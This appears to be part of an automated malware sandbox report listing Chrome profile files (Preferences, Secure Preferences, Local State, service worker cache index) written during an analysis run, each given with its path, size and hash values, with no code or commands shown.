SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 13KB
SHA256 f08993472538182f4ebd44df4ebff9a0e27912d1f04673b51030c39011512cc2
MD5 21d1cc9ade91d6ce996ad7a759a974bb
SHA1 b3c21ee570ebd9b7dd2b7013d28b3854998934b8
SHA512 8c903493c9cfc9ffb14aaf055efc41a7f2538ad9cec8aa818e4188892f818630ea585303b30b73ae524265ae42ac01fe76c445fdf23854f8858827564dd7a05b
SSDEEP 192:IRtEr+n68Epxv7ApXPRpD42P9qHsb+WNnnSPfvp2PeQa+VyIsnAUgE:IRtErOUhkNXbkwSP52Za2E
TLSH
T1C152B82BFE10693BACCAD229F9557B67E7F5102522942D84E6FC8A2C15E75CC221701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 e36fa7f9c994fa880bc821838dd41b7fa86a359362f541fec56ef7145a46abfb
MD5 98d327daeae811de4e17a6d68b13f006
SHA1 a49ca7cc941c2569d59226171719652fcc2d6ea2
SHA512 b0be396bcf74e8c20f7fc9338dd5ef2af353da18f2f00a280da537c376113c0c4502d2a100f144fe9125bf2e7df9af20b4f87f534ec4f60242b62c2663480b07
SSDEEP 192:IRtEr+n68Eptv7ApAPRp2l9qHsb+WNnnSPZvp2PeQ/+VyIsnAUge:IRtErOUNkUXmkwSPL2Z/2e
TLSH
T1C942B62FEE10693BACDBD229FA657B67EBF5102521942D84E6FC892C14E75CC221701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 13KB
SHA256 2d29e2ec8247fd5042bb5f3497edf2689b4c247c8f63c7984d8c6865e9245870
MD5 e5df5a44fdbd009c1ec0a7424f103fb4
SHA1 c8b0a60a85f4b49806fc624b9b880a0d929b0b54
SHA512 59d6c8618f7e9196a3c7be331efa9976fa0420152ca1add7865d5ff51f46636151f73895af3cede45144b12c1341d04a76773ee5b63ab7209fe32ab26742a952
SSDEEP 192:IRtErKn68Epnv7ApXPRpD42P9qHsb+WNnnSPfvp2PeQa+VyIsnAUgE:IRtErCUvkNXbkwSP52Za2E
TLSH
T1AC52B72BFE10693BACCBD229F9657B67E7F5102522942D84E6FC8A2C15E75CC221701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 13805701603dbbca9403b94e006c712edafb4f98a8e0ae4ce0ad1b025b835f93
MD5 28aca1b912d001e337a9e715a111a353
SHA1 177a8b35a6fa74a15deedffd79dc9066169fc496
SHA512 0e554b40f873ea651a22f9b91cf52ad45cc99b35e2db0e34845d695aa13aaf61497b6646f39f5b0ba26fc4a43100e92a0aff8ad949d0289fb397cfe00b0cede5
SSDEEP 384:V7jxY7KxkXqKf/pUZNCgVLH2HfgsluX7pLuLcSjvKXODx4+ErU31PHG0pdpS8gfp:V3xY7KxkXqKf/pUZNCgVLH2HfgskX7pf
TLSH
T1A4720967AC0C9E374F94D6CCDC277B4FADB5015B61E9886483FA981903D5BCA110A1FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 faa8c286af2ca756d5d6adbfb2e22b1d43e35054adda36687878bd3b36d22152
MD5 b3b98fbafe9eeb0d8df50fa887441263
SHA1 e82d61c786e475d33866639f423a47ee2b960eae
SHA512 471ea16fc3e5e3b3828262df64d25a72aac66c0731b90b654764a406ad0366aa2f1e4d6ec743681d4d5fe3fe457115f565cea236604ca9c25570a6293232eb7c
TLSH
T1EFB0129080019111C04207F8115314987168EF10E70A1B0543E46E33CC2E150C255050
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe589834.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe589834.TMP
Size 96B
SHA256 c717427eb1539ea324715c9353ff839cecb0f4662d205d44fa11bab8f68cd791
MD5 533fec29a373806ed05832d9d9fac1ab
SHA1 659d9d54c77bb07cf08dd40a73f792d588eef32c
SHA512 c6eb48551a7f3eff0de99a922c61761a4b85e202317399c71b148c1acb16320c9b5d1f5bb450113ec7d98a6b390457f12053016d1595b201d5da8ad88ed5a181
TLSH
T120B022C0C0022302C00203F83CA08ACC30B0EF20C2030302C3E00A3BCC282B0C020020
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
SHA256 bf81c72b125dd54a429c53c8a2c6dc097fc61f119f3ce8372e66cfb577397a28
MD5 cb09c13139e5fa82300ed44de0ddabea
SHA1 011a8b58869c1bdcc59bd4537c10cb5f0d16bae5
SHA512 239175fd813f0ece2ec64546587c79fb747b9b08ff941a24a4fbbb1ca5f151d3a232481a09a57ac4b711f58f7c41b4fd1c8add7f3b548ce14f8483ed88837e4d
SSDEEP 3072:qB+Gm7D5Lk17ox1tIpud63U8BehbCBi9fTrMg:wm7Rkm1tYpBeh2BAog
TLSH
T12DC3023B9D75A83759B5BB1FB04E0A2F1EF24AA7C920DE52C8D85B0427F97CC1A44934
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 117KB
SHA256 cfd71c299d652d4296db8aa00d51283b8f4426080007050554a6f9cacbf4524c
MD5 ad9461c0291d8efe795e7a75bdc0a880
SHA1 4c7dec1c299cec6bbbe119e6ecc906b52ddf41df
SHA512 c0f85ace9ac6e19275dd4f45d2d5fbb4013c93ba50d96bd4013a0dd3714d6fb6256617fa19573f9158a061d79cc1b19e7cf3e9d4c05638abba9d8bf7fb91763c
SSDEEP 3072:yB+Gm7D5Lk17ox1tIpud63U8BehbCBi9fTrMg:om7Rkm1tYpBeh2BAog
TLSH
T10CC3023B9D75A83759B5BB1FB04E0A1F1EF24AA7C920DE52C8D85B0427F97CC1A44934
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 3fc77719713a84b926142c292fd12fbeb812e0aef510b2387588e5abcd03f31b
MD5 08fe897ce5501609c7908e60d7c206eb
SHA1 c50b9fef4b80cf691ba32f3ad5536311ca414912
SHA512 597d5e4e80b2ed14b4337e1a2b0ee32cd4988ba39f3fb6826508c53beb2a4e139cd7933b108fcf79670b5e2e4ea4e19f09c811b1b9d28e7429e0505a166705fe
SSDEEP 3072:A6Gm7D5Lk17ox1tIpud63U8BehbCBi9fTrMg:um7Rkm1tYpBeh2BAog
TLSH
T141C3022B5D75E93B5CB5A74EB08E0B1E2EF249A6C920DE9288D85A0437F97CD0A44934
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
SHA256 b94d70be125eddde6fa8d3d365d402fd583cfa9d9765acb9ceabee2f6e4ca378
MD5 96f0fd14b40c8831612261cc7348ca26
SHA1 07ba3231bfb54843b1c498282ec6e43193b4cace
SHA512 eaef613c06d257b5614fa10c4ce87d1308eed622d9cde221c210c8073afbbfe9d210a66c003406734c45043632ee8da9d835c030e222665b355d2ffbb471b0d8
SSDEEP 3072:TxGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMg:0m7Rkm1tYpBeh2BAog
TLSH
T1B6C3023B5D64E8375DB5A71FB08E0A1F1EF24AA7C920DE92C8D85B0427E97CD0A45A34
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
SHA256 0d8da76b3e082dee14d1d4050963bd9590922e136d78ac5a708999c6df51605b
MD5 c0047a7579f6578cf9c99519d1b6453e
SHA1 0eb1b67eaf43aede6a8e99fb606f2483a772be30
SHA512 1f6ac85d9de8d6eaa9705aecc1dbc293734c14914191ac182e274b34d782ebe8a58e1e42c212f9bbe41db2f914884e3f5746e27ffe0d3a9bd20da8472c2d6b1c
SSDEEP 3072:qxGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMg:Tm7Rkm1tYpBeh2BAog
TLSH
T138C3123B5D64E8375DB5B71FB04E0A1F1EF24AA7C920DE92C8D85B0427E9BCD0A45A34
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download